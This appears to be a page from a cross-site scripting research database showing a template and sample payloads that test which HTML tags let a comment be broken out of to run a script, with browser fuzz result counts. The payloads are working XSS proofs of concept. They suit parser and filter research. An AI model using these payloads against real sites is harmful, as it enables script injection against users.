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Tags that support HTML comments

⚠ Browser differences
Chrome logo 105
Firefox logo 106
Edge logo 105

This vector attempts to show which HTML tags support HTML comments.

hackvertor
Created byhackvertor
Created Jan 26, 2025
Updated May 27, 2025

Tweet
Detecting browser...
CategoryHTML Parsing
VisibilityPublic
TypeXSS
CharsetUTF-8
$[data1] placeholderhtml
Template used:
<$[data1]><!-- </$[data1]> <div id="--><script>log('$[data1]')</script>"></div> -->

Sample payloads

<a><!-- </a> <div id="--><script>alert('a')</script>"></div> -->
<abbr><!-- </abbr> <div id="--><script>alert('abbr')</script>"></div> -->
<acronym><!-- </acronym> <div id="--><script>alert('acronym')</script>"></div> -->
<address><!-- </address> <div id="--><script>alert('address')</script>"></div> -->
<area><!-- </area> <div id="--><script>alert('area')</script>"></div> -->
<article><!-- </article> <div id="--><script>alert('article')</script>"></div> -->
<aside><!-- </aside> <div id="--><script>alert('aside')</script>"></div> -->
<audio><!-- </audio> <div id="--><script>alert('audio')</script>"></div> -->
<b><!-- </b> <div id="--><script>alert('b')</script>"></div> -->
<base><!-- </base> <div id="--><script>alert('base')</script>"></div> -->
<bdi><!-- </bdi> <div id="--><script>alert('bdi')</script>"></div> -->
<bdo><!-- </bdo> <div id="--><script>alert('bdo')</script>"></div> -->
<big><!-- </big> <div id="--><script>alert('big')</script>"></div> -->
<blockquote><!-- </blockquote> <div id="--><script>alert('blockquote')</script>"></div> -->
<body><!-- </body> <div id="--><script>alert('body')</script>"></div> -->
<br><!-- </br> <div id="--><script>alert('br')</script>"></div> -->
<button><!-- </button> <div id="--><script>alert('button')</script>"></div> -->
<canvas><!-- </canvas> <div id="--><script>alert('canvas')</script>"></div> -->
<caption><!-- </caption> <div id="--><script>alert('caption')</script>"></div> -->
<center><!-- </center> <div id="--><script>alert('center')</script>"></div> -->

Fuzz results

Chrome logo
Chrome 145.0.0.0 desktop Windows NT 10.0
Updated16 Feb 2026
Found 105 results
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Chrome logo
Chrome 144.0.0.0 desktop macOS 10.15.7older version
Updated28 Jan 2026
Found 105 results
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Firefox logo
Firefox 148.0 desktop Windows NT 10.0
Updated23 Feb 2026
Found 106 results
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Firefox logo
Firefox 147.0 desktop Linuxolder version
Updated1 Feb 2026
Found 106 results
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Edge logo
Microsoft Edge 145.0.0.0 desktop Windows NT 10.0
Updated18 Feb 2026
Found 105 results
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Edge logo
Microsoft Edge 132.0.0.0 desktop macOS 10.15.7older version
Updated5 Feb 2025
Found 106 results
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